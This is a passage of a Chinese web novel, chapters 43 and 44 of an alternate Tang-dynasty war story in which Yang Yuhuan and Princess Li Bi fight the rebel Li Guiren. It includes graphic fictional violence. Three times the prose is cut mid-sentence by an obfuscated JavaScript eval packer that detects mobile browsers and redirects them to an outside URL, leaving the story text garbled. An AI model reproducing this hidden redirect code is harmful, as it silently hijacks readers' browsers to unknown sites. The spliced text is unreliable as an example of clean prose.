晏山槐:…… 倪露:少废话,快点转。 晏山槐默默把钱转过去,关掉手机,蒙上被子啊啊啊啊起来,她怎么就这么天才,想到射摄像头这个好注意的呢? 要不是郝总,她现在还倒欠公司六万多。 唉,该死的演艺圈。 她又一下子从被窝里爬出来,给郝美丽发消息:谢谢郝总,我会继续努力的。 两分钟后,她补充道: “努力训练,不是努力破坏公物。” 然后,她看着自己微博点赞最高那条众筹评论,回复道:“哈哈,完蛋了。” * 幽州城。 李归仁一脚踹翻了眼前的案几,上面的地图、文书哗啦啦散落一地,他胸膛剧烈起伏,脸色铁青,眼中布满血丝。 “废物!一群废物!”他低吼道,“几万人!布下天罗地网!竟然还是让那个女人跑了!她难道会飞天遁地不成?!” 殿内将领们垂首肃立,大气不敢出。 黑石峪一战,他们确实占尽优势,眼看就能将杨玉环部围歼,谁知半路杀出个李璧,袭扰战术用得刁钻,硬是撕开了口子,让杨玉环凭借那邪门的马匹速度突围而去。 更可气的是,杨玉环和那个李璧,两支军队像泥鳅一样,和他们周旋了几日,愣是没让他们抓住决战的机会,反而被她们联手又吃掉了两支小队。 岂不是让李归仁气死了? 这时,一名内侍小心翼翼地走进殿内,低声道:“王爷,太子殿下派人来问,黑石峪战况如何?何时能擒获妖妃杨玉环?” 李归仁猛地转头,目光如刀般剐向那名内侍,吓得他噗通跪地。安庆绪!这个蠢货!仗打输了不来慰问,反而迫不及待地派人来看笑话,还想敲打他! “滚出去!” 内侍连滚爬爬地退了出去。 李归仁喘着粗气,目光扫过噤若寒蝉的部下,心中的邪火越烧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17002306|191074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越旺,杨玉环,还有那个突然冒出来的李璧!这两个女人,简直是他戎马生涯的耻辱! “去地牢!”李归仁阴沉着脸,大步向外走去。 幽州城的地牢阴暗潮湿,空气中弥漫着血腥腐臭的混合气味,最深处的几间牢房里,关押着近百名在金吾卫突围时被俘的士卒。 李归仁在一间牢房前停下脚步,里面关着七八个人,个个带伤,衣衫褴褛,但他们的眼神却不像寻常俘虏那般恐惧,看向他时,人人眼中都是仇恨。 “哼!”李归仁冷笑。 狱卒打开牢门,李归仁走进去,目光落在其中一个伤势最重的年轻士卒身上。 李归仁认得他,突围时,就是这个小子,不要命地返身冲杀,为同伴断后,身中数箭才被擒获。 “说,”李归仁居高临下地看着他,“杨玉环逃到哪里去了?她的老巢在什么地方?她那能快速奔跑的马匹和锋利的兵器,是从何而来?” 那年轻士卒听见声音,抬起头看他,脸上污血混着尘土,却咧开嘴,露出一个笑容,啐出一口带血的唾沫:“呸!李归仁,你个贱奴!你等着吧,我们娘娘早晚会杀回来,剁了你的狗头,给我们报仇!” 李归仁猝不及防,被唾沫星子溅到靴子上,脸色瞬间铁青!他猛地抽出腰刀,刀光一闪! “噗嗤!” 年轻士卒的人头滚落在地,无头的尸身晃了晃,重重倒下,鲜血喷溅在旁边俘虏的身上。 牢房里死一般寂静,其他俘虏死死盯着同伴的尸首,眼眶通红,却没有一个人求饶。 李归仁用滴血的刀尖指向下一个俘虏,一个脸上带着稚气的少年:“你说!杨玉环在哪?!” 那少年吓得浑身一抖,眼泪在眼眶里打转,却死死咬着嘴唇,别过头去,用尽全身力气喊道:“我不知道!就是知道也不告诉你!娘娘早晚杀光你们这些叛贼!” “找死!”李归仁手腕一抖,刀锋划过,少年惨叫一声,一只耳朵被削飞出去,鲜血淋漓。 这一幕却刺激的其他人大骂: “李归仁!你不得好死!” “娘娘万岁!” “下地狱吧,你个贱人!” 没有一个俘虏惧怕,这几人甚至还想扑上来厮打,被李归仁身后的将士一刀斩杀,血流了一地。 李归仁气得浑身发抖,这些曾经在他眼中如同蝼蚁的士卒,此刻却展现出惊人的骨气,好像他们信仰的那个女人,真的给了他们无穷的勇气。 怎么可能!杨玉环可是个女人! 他扔下沾满鲜血的刀,看着牢房里一地尸体的牢房,感觉自己像个小丑。 他原地转了几圈,又指着一地尸体,对着其他俘虏道:“硬气?我看你们能硬气到几时!你们那个娘娘,不过是仗着些装神弄鬼的把戏,还有几匹跑得快的畜生!” “在黑石峪,她见了本王的大军,还不是像丧家之犬一样跑了?下一次!下一次她绝没有这么幸运!本王定要将她生擒活捉,让你们亲眼看着她……” 就在这时,一阵急促慌乱的脚步声由远及近,一名传令冲进地牢,脸色惨白如纸,也顾不上满地的血污,扑到李归仁面前:“报——王爷!大事不好!” “杨玉环联合了和政公主李璧,还有之前逃脱的侯四娘那群草寇,总共聚起了两万多人马!打出平叛讨逆的旗号,已经攻破了两城了!” 43.第 43 章 莫州城内,硝烟暂歇。 城中道路被马蹄踏得泥泞不堪,空气中还隐约残留着血腥气味,但这一切,都无损李璧的好心情。 她骑着一匹神骏白马,身着银甲,领着十余名亲卫,慢悠悠地穿行在刚刚易主的街巷之间,马蹄嘚嘚,似她一般。 “瞧瞧,”李璧用马鞭随意指了指路旁一间被砸开铺门的粮行,里面空荡荡的,显然早已被劫掠一空,“李归仁那老匹夫,搜刮得可真干净。可惜啊可惜,现在这满城的砖瓦,哦不,是这莫州城,都姓李了。” 身旁一名亲卫忍不住笑道:“殿下,是姓咱们这个李!” “废话!”李璧回头睨了他一眼,笑意更盛,“难不成还姓他那个李?他那个李,迟早要被咱们踩进泥里去!” 她心情极好。 前些日子,她拿出从杨玉环那里“讨”来的一百万两银子,依着她李唐公主的身份,从各路买来了诸多装备,迅速为杨玉环凑齐了一万铁骑。 虽然买来的那些盔甲兵器,不及杨玉环金吾卫手里的那些仙器,却也绝对是当世一流,战力倍增。当然,她也用剩下的钱将自己麾下的轻骑也扩充至万余。 两军合流,兵强马壮,趁李归仁还在为黑石峪的失利暴跳如雷之际,她们俩以迅雷不及掩耳之势,一举攻下了这座幽州南面的重镇莫州。 按照战前约定,莫州城归她李璧所有,这可是她真正意义上的第一块地盘!怎能不喜? 所以自进城来,李璧就一直笑着。 走着走着,前方一条窄巷里突然传来一阵拖拽声,还夹杂着几声女子的嘟囔。 李璧勒马,好奇地望过去。 只见一个身影对着巷口,费力地从一间低矮的土坯房里往外拖拽着什么,那身影异常高大魁梧,膀大腰圆,骨架粗壮,几乎有寻常男子两个宽,穿着脏得看不出本色的粗布衣衫。 她脚边,已经横七竖八躺了三四具身叛军尸首。 李璧眼睛一亮,轻轻催马靠近了些。 那高大女子似乎察觉到身后有人,猛地回过头来,一张圆盘大脸,眉眼倒是生得端正,只是此刻沾满了污渍,瞧着有些可怜兮兮的。 见有外人来,她眼神警惕,手里还抓着一条尸体的脚踝,十分防备的看着李璧。 “这些人,”李璧用马鞭虚点了一下地上的尸首,饶有兴趣地问,“都是你杀的?” 高大女子见李璧衣着华贵,甲胄鲜明,身后跟着兵卒,愣了一下,随即老实的点头,道:“是我杀的。” “你是怎么杀了他们的?”李璧跳下马来,走到近前,仔细打量那些尸体,伤口多在脖颈、心口,一击毙命,干净利落。 女子松开尸体的脚踝,从后腰“唰”地抽出两把家伙事来——竟是两把厚背薄刃的杀猪刀! 这两把杀猪刀刀身宽大,血槽深邃,瞧着可怕极了。 “用这个杀的,”她晃了晃手中的杀猪刀,“我杀了十几年猪,用杀猪刀用的很是顺手。他们闯进我家想抢东西,我就一人给了一刀。” “比杀猪还简单,一砍就砍死了。” 李璧看着她手中那对明显比寻常杀猪刀更大更沉的利器,再看看她这副壮硕的身体,想象着她挥舞双刀如砍瓜切菜般放倒这几个叛军的场景,再也忍不住,放声大笑起来。 “哈哈哈哈哈!好!好一个杀猪刀!杀得好!杀叛军就跟杀猪一样!痛快!” 她笑得前仰后合,眼泪都快出来了。笑够了,她一把拉住那高大女子衣袖:“走!跟本公主走!” 女子被她拉得一个趔趄,却挣扎了一下,肚子不合时宜地“咕噜”叫了一声,黝黑的脸上露出一丝窘迫:“公主?我好久没吃饱饭了,叛军来了以后,粮价飞上天,你看我都饿瘦了……” 李璧闻言,更是乐不可支,上下打量着她这“饿瘦了”依旧顶别人两个的块头,连连点头:“对对对,是瘦了,是瘦了!走!本公主这就让你吃饱!管够!” 她当即吩咐亲卫:“快!回公主府……” “不对,是回莫州府衙!让厨子把最好的肉都给本公主做上!喂饱我的宝贝,快快快!” 不到半个时辰,州府衙门厅堂里,一张八仙桌上摆满了大盘的炖肉、整只的烧鸡、大摞的烙饼。 那高大女子坐在桌前,也顾不上什么礼节,一手抓肉,一手拿饼,风卷残云般大吃起来,吃得满嘴流油,酣畅淋漓,满足极了。 李璧就坐在她对面,支着下巴,看得津津有味,“慢点吃,慢点吃,没人和你抢。” 看她吃的急,李璧连忙递过去一碗茶,然后问:“对了,忘了问你,你叫什么名字呀?” 阿蛮咽下嘴里一大块肉,灌了半碗水,抹了把嘴:“我叫阿蛮,街坊们都叫我杀猪蛮。” “阿蛮……”李璧念了一遍这个名字,点点头,“好名字,配你。阿蛮,愿不愿意跟着我干?” 阿蛮啃鸡腿的动作停住了,抬起油乎乎的脸,疑惑地看着李璧:“跟着你?跟你干啥?你是干啥的?” 李璧身体微微前倾,一双明眸亮得惊人,带着一种近乎狂妄的自信,说道:“我?我叫李璧,现在是和政公主。以后嘛……” 她扬起头,得意洋洋道:“以后会是这天下的皇帝,你跟着我干,当我的大将军,怎么样?” “皇……皇帝?”阿蛮瞪大了眼睛,嘴里的鸡骨头差点掉出来,她看看李璧,又看看桌上的肉,脑子有点转不过弯。 皇帝这个词对她来说太遥远了,她只会杀猪。从前爹在的时候跟着爹杀猪,后面爹没了就自己杀猪,她不太懂什么是皇帝,什么是大将军。 她迟疑半天,小声问:“那跟着你,能天天吃肉吗?” 李璧“噗嗤”一声笑了,斩钉截铁地说:“能!不仅能天天吃肉,还能顿顿有肉!管饱!” 阿蛮眼睛顿时亮了,把剩下的鸡腿一口塞进嘴里,含糊不清地大声道:“那我跟你干!” “好!”李璧一拍桌子,站起身,兴奋地踱了两步,“这才对嘛!” 阿蛮阿蛮,她的好阿蛮! 她的大将军!好极了! 她越想越觉得阿蛮是个宝贝,这体魄,这身手,这心性,稍加打磨,绝对是一员冲锋陷阵的悍将! 可是看着阿蛮身上的布衣,李璧眯了眯眼,她的阿蛮要骑世界上最好的马,穿世界上最好的盔甲!想到这里,李璧有了主意。 达奚瑜带着十几位女官和刘小丫也进了这莫州,正在州府衙门住着,刚打下莫州,此刻她正忙着。 李璧一阵风似的卷进达奚瑜处理公务的厢房,人未到声先至:“我的好瑜儿!这回你非得帮我不可!” 达奚瑜从账册里抬起头,不知她打什么主意,但先声明:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17005527|191074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 殿下,我们金吾卫已经没银子了!” “哎哟,好瑜儿,你这是说的什么话?我这回真是正经事!”李璧凑到案前,眼睛发亮。 “你猜怎么着?我寻着个宝贝,她叫阿蛮,天生神力,使两把杀猪刀悍勇无比!可惜啊,阿蛮没有神兵利器良驹,太不像话了!” “我的好瑜儿,求求你了,把你们金吾卫最好的马给我一匹,再给我寻副最大号的盔甲!” 原来是这样。 达奚瑜低头继续拨算盘:“真是不好意思了,公主,我们金吾卫马匹紧缺,盔甲无备啊~” 听她这样说,李璧立刻换了副痛心疾首的表情:“瑜儿!你想想,这般猛将若因装备寒酸折了锐气,岂不是暴殄天物?待她阵前斩将夺旗,功劳簿上必有你一笔!” 低着头的达奚瑜想笑,又忍着。 见达奚瑜不语,李璧只得继续低声哀求,把那张漂亮的脸摆到达奚瑜面前:“我的好瑜儿,算我求求你了!就给我嘛,实在不行,等下次攻城缴获,让你先挑嘛!” 达奚瑜看着公主这模样,忍不住笑了,终于叹了口气,放下算盘:“公主说的哪里话,良驹可以均一匹出来,盔甲嘛……” “我让人将赵将军那副改改尺寸……” “我的好瑜儿,你最好了!”李璧眉开眼笑,转身就往外跑,“回头我让阿蛮给你磕头!” 达奚瑜望着她雀跃的背影,无奈摇头,眼底却掠过一丝笑意,怎么已经二十六岁的公主,还是这般可爱可亲? 真是让人欢喜。 等李璧回去后,她又寻来城中最好的铁匠,指着阿蛮那两把杀猪刀:“照这个样子,用最好的钢,给本公主打一对更大的!要更厚更重!刀刃要更利!” 几天后,当阿蛮穿上那身闪着幽暗光泽的盔甲,提着那对堪比门板的杀猪刀,跨上那匹神骏战马时,整个人的气势彻底变了! 原先那个脏兮兮的杀猪女不见了,取而代之的是一位如同铁塔般巍峨的女将军!盔甲衬得她愈发雌壮,双刀在手,睥睨之间,自有一股万夫不当之勇! 李璧围着她转了好几圈,看得心花怒放,忍不住抚掌赞叹:“好!好!我的阿蛮,我的大将军!真是迷死本公主了!” 阿蛮骑在马上,有些别扭地动了动,厚重的盔甲哗啦作响,她憨憨一笑:“公主,这身行头好看是好看,就是有点不习惯,之前杀猪从没这么穿过。” “没事没事,慢慢习惯就好!”李璧越看越满意,“这才有大将军的威风!阿蛮,你真是美极了!” 一句话说的阿蛮不好意思起来。 这可是头一回有人夸她美呢。 就在这时,一骑快马疾驰而来,斥候飞身下马,急声禀报:“报——殿下!李归仁亲率五万大军,已至莫州城外,扬言要踏平莫州,他还说要生擒殿下您!” 李璧脸上的笑容瞬间收敛,眼中闪过一丝冷厉,立刻恢复了那个高傲公主的模样。她翻身上马冷笑道:“阿蛮,听见没?那个该死的贱男人送上门来了!” 她长枪一指城外方向:“走!跟着本公主,去弄死那个贱男人!让他尝尝咱们阿蛮大将军杀猪刀的厉害!” 阿蛮握紧了手中沉甸甸的双刀,舔了舔嘴唇,眼中冒出一种面对待宰肥猪时的兴奋,乐呵呵地应道:“哎,好!公主!” “给公主杀猪去喽!” 44.第 44 章 莫州城头,血气浓浓。 李璧扶着垛口,看着城下战场,天边已泛起鱼肚白,只见满地狼藉,破碎的云梯、散落的兵刃,还有那些层层叠叠再也醒不过来的尸首。 她身上银甲染了好几处暗红,却早已经分不清究竟是敌人的还是自己的,一阵冷风吹过,激的她一哆嗦。 “打仗嘛,哪有不死人的。”她低声嘟囔了一句。 李璧低下头,又看见了残肢断臂,她想闭上眼,又睁开,她开始在心里告诉自己,她是主帅,她是这只军队的领袖。 便是死了千万人,她也不能有一分迟疑。 战争,向来如此。 李璧复抬头,只见城外敌营连片,几乎不见一丝缝隙,那里有五万大军等着吞噬她们,如此强敌在前,她竟然笑了一下。 李璧,你瞧,如今的敌人多强大啊。 你心里是很骄傲的,对吗? “李归仁,能做我的对手,算你命好。”李璧又一次扬起头,朝这天地间再发出一声嗤笑,区区一小贼,怎能困住她这绝世天骄? 从满地尸首中回过神来,李璧脸上其他神色都淡了,只余下骄傲。她似乎想起了什么,转过头,寻找那个熟悉的身影。 阿蛮就在不远处,正靠着墙垛坐下,任由一个小兵颤巍巍地给她胳膊上一道深可见骨的伤口撒金疮药。 她另一只手里还紧攥着那两把立了大功的杀猪刀,这三天,就是这两把杀猪刀,不知劈翻了多少想要攀上城头的魏兵。 李璧走过去,蹲下身,看着阿蛮有些发白的脸,想碰碰她的伤口,手伸到一半又缩了回来,只轻声问:“疼不疼?” 阿蛮抬起头,脸上血污一片,看见公主脸上的担忧,咧开嘴,露出一个憨厚的笑:“公主,没事儿,比俺以前在村里杀年猪让猪拱一下轻多了!” 李璧听她这样讲,有点想笑,又实在心疼的厉害,最后只化作一句:“下次要多小心点才对!我的好阿蛮。” “哎!知道啦!”阿蛮脆生生应下。 李璧点点头,站起身,重新望向城外,远处李归仁的大营旗帜依旧飘扬,但他今日却没有发起进攻,这怎么能行? 她运足力气,厉声骂道:“李归仁!你个缩头老王八!有本事再攻啊!看你家公主殿下不把你龟壳敲碎!” 声音在旷野上传出老远,但魏军大营死气沉沉的,连个出来对骂的人都没有,李归仁压根没理她。 此刻,李归仁正脸色铁青地站在中军大帐前。 “三天了!杨玉环呢?她到底在哪里?!” 这三天,他不惜代价猛攻莫州,可那个女人,就像凭空消失了一样。难道她真的要看着他攻下莫州城?任由他杀光李璧的兵? 李归仁不信。 不过他没有等太久。 答案在当晚子时过后揭晓了。 起初,是地面传来轻微的震动,值守的魏兵起初以为是错觉,但震动越来越强,越来越近,最终变成了连绵不绝的轰鸣! “地龙翻身了?”有士卒惊恐地喊道。 “不对!是骑兵!”经验丰富的老兵喊道。 所有人骇然望向震动传来的方向,只看见了无尽黑暗,在这黑暗中,仿佛有黑色鬼魅汹涌而来,马蹄踏地的巨响充斥天地,似乎四面八方都是敌人! “敌袭!全军戒备!” 李归仁一把推开亲卫,冲出大帐,翻身上马,厉声下令:“结阵!长枪在前,弓弩手预备!防止骑兵冲阵!” 他的反应不可谓不快,魏军毕竟久经战阵,在最初的慌乱后,开始依令调动组成防御阵型。 就在这时,那黑色的潮水终于冲破了夜幕的遮掩。 只见队伍最前方,一骑当先,身影在火把摇曳的光线下有些模糊,但那飞扬的身影,正是杨玉环! 她竟真的亲自率领主力铁骑来了! 杨玉环伏在马背上,感受着风从耳畔呼啸而过,上万铁骑奔腾,声胜雷鸣,何等气魄! 李归仁看得分明,立刻挥刀大喝:“斩杨玉环首级者!赏黄金万两!官升三级!” 重赏之下,必有勇夫。 对面的杨玉环似乎听到了这话,在急促的马蹄声中,竟传来她一声带着几分嘲弄的爽朗笑声:“黄金万两?李归仁,你的人头就值这个价?金吾卫!给我拿下李归仁的项上人头!” “遵命!”山呼海啸般的应和,万名金吾卫铁骑,心中只有一念,为娘娘,为天下,唯死战而已! 这无视生死的铁血气势,让李归仁心中猛地一凛!杨玉环手下不是一群残兵败将?何时有了这等气魄? 他还没想明白,下一刻,钢铁洪流就狠狠地撞上了魏军防线! “轰!” 第一波撞击,竟将最前排的魏军长枪兵连人带枪撞飞!金吾卫骑兵手中的马槊借着冲势,轻而易举的挑破更多人的皮甲!一时间,惨叫声、兵刃碰撞声、马匹嘶鸣声瞬间响成一片! 这些金吾卫,如同不怕痛不怕死的铁人!冲杀起来,只有杀敌、再杀敌,拼命向着李归仁的中军大帅旗所在的方向凿穿!哪怕身中数刀,只要还能挥动兵器,就绝不后退! 李归仁又惊又怒,拔刀在手,吼道:“亲卫营!随我迎敌!” 他必须稳住阵脚,若能阵斩杨玉环,此战尚有可为,他催动战马,刚要向前,斜刺里冲出三骑,直取他上中下三路!正是侯四娘、唐四娘和王二娘! “李归仁!你的对手是我们!” 李归仁举刀格挡,“铛”一声巨响,震得他手臂发麻。他心中骇然,这三个女流之辈,好大的力气!他不得不凝神应对,一时竟被死死缠住,无法脱身去寻杨玉环。 就在两军陷入缠斗之际,莫州城门突然洞开! 李璧早就等得心焦如火,眼见杨玉环的主力终于出现,并与李归仁的骑兵绞杀在一起,她猛地一拍城头:“好!杨玉环你总算来了!再晚来半天,老娘这点家底真要拼光了!” 她立刻对身后待命的将领下令:“阿虎!带两千轻骑出城!给老娘往死里烧!专挑他们的粮草、军械、帐篷烧!烧完就跑,不许恋战!” “得令!”阿虎抱拳领命,迅速点齐人马,这两千轻骑是李璧压箱底的宝贝,人马轻捷,最擅奔袭扰敌。 城门开启,两千轻骑分成数股,如同灵巧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17011502|191074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的游鱼进入战场边缘,他们人人背负强弓,箭矢之上早已绑好浸了火油的麻布。 “放箭!” 一声令下,无数火箭如同流星般射向魏军大营后方!此时魏军注意力都被正面金吾卫吸引,后方空虚,顿时火光四起! “粮仓!粮仓着火了!” “辎重营!快救火!” 魏军后方一片大乱。 阿蛮手持双刀,紧紧护在李璧身旁,李璧看着城外己方轻骑四处纵火得手,魏军后方浓烟滚滚,终于露出了几天来第一个畅快的笑容:“对!就这么干!烧死这群王八蛋!” 李归仁虽被侯四娘三人缠住,但眼角的余光瞥见后方冲天而起的火光,心知不妙,气得几乎吐血! 他经营多年,才攒下这点家当,尤其是那两万铁骑,更是毕生心血所在。可杨玉环呢?就因为有个妈,就得了一万如此精良的铁骑甲胄!这仗打得何其不公! 他心中有气,又着急起来,刀法更加凌厉,想要尽快摆脱纠缠,他还幻想着还能有机会斩杀杨玉环,但侯四娘三人配合默契,攻守兼备,如同牛皮糖般粘着他,让他寸步难行。 李归仁心中大恨,誓要斩杀了这三人! 这一场混战,从子夜一直持续到东方天际露出鱼肚白,战场上尸横遍野,不知死了多少人,双方早已杀红了眼! 李璧立于城头,看到魏军能烧的都烧得差不多了,金吾卫虽然勇猛,但毕竟兵力处于劣势,激战一夜也已显疲态,她当机立断,下令鸣金收兵。 清脆的锣声响起,正在四处纵火的阿虎毫不恋战,立刻拨转马头,如同潮水般迅速退回了莫州城。 看到李璧的人安全撤回,杨玉环也下令:“金吾卫!交替掩护!撤!” 这命令一下,金吾卫骑兵迅速变阵,前队变后队,后队张弓搭箭压制追兵,整个撤退过程有条不紊。 李归仁刚喘过一口气,逼退侯四娘一招,就看到杨玉环部要跑,他赤红着眼睛嘶吼:“追!给我追!绝不能让杨玉环跑了!” 可他麾下的骑兵经过一夜苦战,人困马乏,更要命的是,他们的战马远远不及杨玉环那些神骏的仙马,刚追出没多久,就被远远甩开。 李归仁亲自带领亲骑追了一程,却只能看着杨玉环的身影消失在清晨的薄雾里,他猛地勒住战马,胸口一阵翻涌,“噗”地一声,一口鲜血喷了出来。 “大帅!” “王爷!” 亲卫们慌忙围上来。 李归仁推开搀扶他的手,脸色灰败,嘶哑地问:“战损如何?” 半晌,一名浑身浴血的副将踉跄跑来,带着哭腔汇报:“大帅,初步清点,我军阵亡超过一万三千人,被骑兵冲垮的步兵踩踏无数,粮草被烧毁过半,军械帐篷损失无数,杨玉环部,约莫留下了三四千具尸体……” “三四千……”李归仁喃喃,杨玉环用三四千人的代价,换了他一万多精锐,还烧了他大半粮草辎重! “哈哈哈哈哈哈,杨玉环!你!”他眼前一黑,话没说完,再也支撑不住,直挺挺地从马背上栽了下去。 “大帅!” “王爷!”